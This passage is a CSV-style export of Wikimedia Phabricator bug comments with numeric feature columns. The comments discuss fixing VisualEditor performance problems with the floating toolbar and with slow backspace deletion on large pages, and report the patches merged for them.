clarity.",,,1376122157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rlrxpsau6vww7ypqckon,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.933333333333333,0.8,"That's not the meaning of the ""default"" flag on parameters, but of the proposed ""autofill"" concept from bug 51428; relabelling for clarity."
54014,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"In Firefox, scrolling a large VE page is very slow, with visible pauses between repaints, predominantly because of the floating toolbar. Calling disableFloating() on the toolbar from the JS console causes scrolling to be roughly as fast as scrolling the non-VE page view.

Timo says he knows how to fix this.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374729120,1375232987.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_description,resolved,True,c1,3,True,False,True,3,,0.0,0.0,1.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,2.0,11.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,12.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,6.0,0.0,0.0,0.0,4.1375,0.7,"In Firefox, scrolling a large VE page is very slow, with visible pauses between repaints, predominantly because of the floating toolbar. Calling disableFloating() on the toolbar from the JS console causes scrolling to be roughly as fast as scrolling the non-VE page view.

Timo says he knows how to fix this.

--------------------------
**Version**: unspecified
**Severity**: normal"
233509,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,Merged and deployed.,,,1375232987,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Merged and deployed.
233504,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"Change 76241 merged by jenkins-bot:
ve.ui.Toolbar: Refactor floating logic for performance

https://gerrit.wikimedia.org/r/76241",,,1375223509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.65,0.95,"Change 76241 merged by jenkins-bot:
ve.ui.Toolbar: Refactor floating logic for performance

GERRIT_URL"
233499,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"Change 76241 had a related patch set uploaded by Jforrester:
ve.ui.Toolbar: Refactor floating logic for performance

https://gerrit.wikimedia.org/r/76241",,,1375072077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.913043478260869,0.9565217391304348,"Change 76241 had a related patch set uploaded by Jforrester:
ve.ui.Toolbar: Refactor floating logic for performance

GERRIT_URL"
233493,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,https://gerrit.wikimedia.org/r/#/c/76241/,,,1375057326,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
233486,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,"(In reply to comment #1)
> @Krinkle: How are you going to fix this? :-)

<Krinkle> I already did, in a way. Earlier this week I re-used that logic for mw.notification (which now also has a floating mode, previously mw.notify messages weren't visible if you scroll down the page, which is a problem for VE). However I noticed a few things that could be optimised that I did 'right' from the get go for mw.notify. I should be able to apply that to ve as well
<Krinkle> most notably the fact that floating calculation for ve toolbar calls offset() each time
<Krinkle> which is a repaint for something that is unlikely to ever change
<Krinkle> I realised it when I was doing mwnotify but never remembered to fix it in VE",,,1374730873,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,True,,,3,,1.0,0.5,0.0,0.5,0.5,2.5,3.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,0.0,4.0,0.0,8.0,11.0,0.5,3.0,0.5,0.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,2.0,1.5,1.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,1.0,0.0,12.5,0.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.5,0.0,4.5,4.0,9.5,2.5,0.5,8.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,6.0,11.0,2.5,0.0,1.0,0.0,6.0,0.0,3.5,2.5,0.0,2.0,0.5,0.5,4.5,3.65404989747095,0.757946001367054,"(In reply to comment #1)
QUOTE

<Krinkle> I already did, in a way. Earlier this week I re-used that logic for mw.notification (which now also has a floating mode, previously mw.notify messages weren't visible if you scroll down the page, which is a problem for VE). However I noticed a few things that could be optimised that I did 'right' from the get go for mw.notify. I should be able to apply that to ve as well
<Krinkle> most notably the fact that floating calculation for ve toolbar calls offset() each time
<Krinkle> which is a repaint for something that is unlikely to ever change
<Krinkle> I realised it when I was doing mwnotify but never remembered to fix it in VE"
233477,VisualEditor: floating toolbar causes scrolling of large pages to be very slow,@Krinkle: How are you going to fix this? :-),,,1374730687,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-y7lnjkpbhgxsbrsuxizc,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,1.0,SCREEN_NAME: How are you going to fix this? :-)
54013,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Using the backspace or delete key to delete plain text on a large page takes hundreds of milliseconds per character, predominantly because ve.dm.Document.prototype.commit() is called, which leads to ve.ce.ContentBranchNode.prototype.onChildUpdate(), which leads to ve.dm.Converter.openAndCloseAnnotations(), which calls containsComparableForSerialization(), which is apparently O(N). 

Bug 52012 also affects backspace performance.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374728460,1375233739.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-bd27gm56r2au6k3ieg34,task_description,resolved,True,c1,3,True,False,True,3,,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,5.3882352941176475,0.611764705882353,"Using the backspace or delete key to delete plain text on a large page takes hundreds of milliseconds per character, predominantly because ve.dm.Document.prototype.commit() is called, which leads to ve.ce.ContentBranchNode.prototype.onChildUpdate(), which leads to ve.dm.Converter.openAndCloseAnnotations(), which calls containsComparableForSerialization(), which is apparently O(N). 

Bug 52012 also affects backspace performance.

--------------------------
**Version**: unspecified
**Severity**: normal"
233454,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,Merged and deployed.,,,1375233739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Merged and deployed.
233447,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76110 merged by jenkins-bot:
Speed up openAndCloseAnnotations by using store indexes

https://gerrit.wikimedia.org/r/76110",,,1374887599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.166666666666667,0.9444444444444444,"Change 76110 merged by jenkins-bot:
Speed up openAndCloseAnnotations by using store indexes

GERRIT_URL"
233439,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76100 merged by jenkins-bot:
Quick optimisation to avoid containsComparableForSerialization

https://gerrit.wikimedia.org/r/76100",,,1374880443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.375,1.0,"Change 76100 merged by jenkins-bot:
Quick optimisation to avoid containsComparableForSerialization

GERRIT_URL"
233434,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,With these two patches ^^^ getDomFromData has sped up from 1150ms to 180ms on my local copy of en:Argentina.,,,1374854401,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,27.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.090909090909091,1.0,With these two patches ^^^ getDomFromData has sped up from 1150ms to 180ms on my local copy of en:Argentina.
233430,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76110 had a related patch set uploaded by Esanders:
Further annotation optimisations

https://gerrit.wikimedia.org/r/76110",,,1374853391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.411764705882353,1.0,"Change 76110 had a related patch set uploaded by Esanders:
Further annotation optimisations

GERRIT_URL"
233426,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Change 76100 had a related patch set uploaded by Esanders:
Quick optimisation to avoid containsComparableForSerialization

https://gerrit.wikimedia.org/r/76100",,,1374849799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,6.315789473684211,1.0,"Change 76100 had a related patch set uploaded by Esanders:
Quick optimisation to avoid containsComparableForSerialization

GERRIT_URL"
233421,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #5)
> Even further suggestion from Tim: make the IVStore use a binary search tree,
> where the nodes are something like { index: number, value: Object } and the
> comparison operates on the objects, something similar to oo.compare() but
> returns < or >. This requires an ordering on the keys. We could do alphabetic
> order like in keySortReplacer, but it would be more efficient to have the
> ve.dm.Annotation object return an ordering on the keys. Or something. This is
> an incomplete thought and requires experimentation.

The point of this would be to reduce the memory usage of IVStore by eliminating the duplication caused by using the JSON as a key, and also to reduce the CPU overhead of ve.getHash(). But note that neither of these things are confirmed as performance issues in the profiling I have done so far.

In any case, comparison of store indexes would obviously be faster than binary search followed by value comparison. So I think index comparison should be the priority, of the ideas discussed here, assuming it can be implemented in such a way that pressing backspace on plain text will predominantly hit index comparison rather than value comparison. After that is implemented, we can do more profiling and decide whether the use of ve.getHash() is a problem worthy of significant development time.",,,1374802942,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,True,,,3,,0.5,0.0,0.0,1.5,0.0,3.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.5,5.0,14.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,2.5,2.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.5,19.0,1.0,0.5,0.0,1.0,0.0,1.5,0.0,0.5,0.5,0.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,6.5,4.0,9.0,1.5,1.5,9.5,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,2.0,14.5,3.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,4.215116279069767,0.691860465116279,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The point of this would be to reduce the memory usage of IVStore by eliminating the duplication caused by using the JSON as a key, and also to reduce the CPU overhead of ve.getHash(). But note that neither of these things are confirmed as performance issues in the profiling I have done so far.

In any case, comparison of store indexes would obviously be faster than binary search followed by value comparison. So I think index comparison should be the priority, of the ideas discussed here, assuming it can be implemented in such a way that pressing backspace on plain text will predominantly hit index comparison rather than value comparison. After that is implemented, we can do more profiling and decide whether the use of ve.getHash() is a problem worthy of significant development time."
233415,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #3)
> Suggestion from IRC, posting to the bug for prosperity:

s/prosperity/posterity/ ;-)

[cf. bug 49198 comment 5]",,,1374801722,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,15.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.9615384615384617,0.8846153846153846,"(In reply to comment #3)
QUOTE

s/prosperity/posterity/ ;-)

[cf. bug 49198 comment 5]"
233411,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Even further suggestion from Tim: make the IVStore use a binary search tree, where the nodes are something like { index: number, value: Object } and the comparison operates on the objects, something similar to oo.compare() but returns < or >. This requires an ordering on the keys. We could do alphabetic order like in keySortReplacer, but it would be more efficient to have the ve.dm.Annotation object return an ordering on the keys. Or something. This is an incomplete thought and requires experimentation.

Giving this to Ed because he's a machine that turns vague incomplete suggestions into working code and fixes a few bugs in the process too ;)",,,1374797517,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,1.0,2.0,0.0,0.0,0.0,5.5,1.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,8.5,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,6.0,1.0,1.0,2.0,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,14.5,1.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,7.0,1.5,4.5,11.0,0.0,1.0,0.0,0.0,3.0,0.0,1.5,0.0,2.0,8.5,2.0,0.0,0.0,0.0,2.0,0.0,1.5,4.0,0.0,1.5,1.0,0.0,0.5,4.284970238095238,0.8189484126984127,"Even further suggestion from Tim: make the IVStore use a binary search tree, where the nodes are something like { index: number, value: Object } and the comparison operates on the objects, something similar to oo.compare() but returns < or >. This requires an ordering on the keys. We could do alphabetic order like in keySortReplacer, but it would be more efficient to have the ve.dm.Annotation object return an ordering on the keys. Or something. This is an incomplete thought and requires experimentation.

Giving this to Ed because he's a machine that turns vague incomplete suggestions into working code and fixes a few bugs in the process too ;)"
233408,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Further suggestion: when we're comparing annotations, try to compare store indexes wherever possible. When we're comparing for identity, like when comparing for serialization when both annotations are generated, we could compare store indexes rather than using ve.compare(). And if we throw comparable objects into the store, we might be able to do index comparison there too.

Maybe ve.dm.Annotation instances should have properties that track the store index of their this.element and their comparable objects?

Ed, could you play with this?",,,1374793855,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,10.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,14.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,2.0,6.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,10.0,2.0,2.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,4.707070707070707,0.6767676767676768,"Further suggestion: when we're comparing annotations, try to compare store indexes wherever possible. When we're comparing for identity, like when comparing for serialization when both annotations are generated, we could compare store indexes rather than using ve.compare(). And if we throw comparable objects into the store, we might be able to do index comparison there too.

Maybe ve.dm.Annotation instances should have properties that track the store index of their this.element and their comparable objects?

Ed, could you play with this?"
233404,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"Suggestion from IRC, posting to the bug for prosperity:

[15:12]	<RoanKattouw> TimStarling: As a hack, could you try to set ve.compare = function ( a, b ) { return ve.getHash( a ) === ve.getHash( b ); }; instead of ve.compare = oo.compare; (in ve.js) and see how much that mitigates the problem?",,,1374793262,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,7.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,1.0,11.0,5.0,1.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,10.0,3.3698630136986303,0.6986301369863014,"Suggestion from IRC, posting to the bug for prosperity:

[15:12]	<RoanKattouw> TimStarling: As a hack, could you try to set ve.compare = function ( a, b ) { return ve.getHash( a ) === ve.getHash( b ); }; instead of ve.compare = oo.compare; (in ve.js) and see how much that mitigates the problem?"
233398,VisualEditor: Deleting plain text from a large page with backspace or delete is very slow,"(In reply to comment #1)
> In both actions, on my favourite test case for today ([[Argentina]]), about
> 10s of CPU usage is attributable to openAndCloseAnnotations(), and about 80%
> of that is from oo.compare().

Perhaps related to bug 51948.",,,1374733149,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bd27gm56r2au6k3ieg34,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0952380952380953,0.7619047619047619,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Perhaps related to bug 51948."
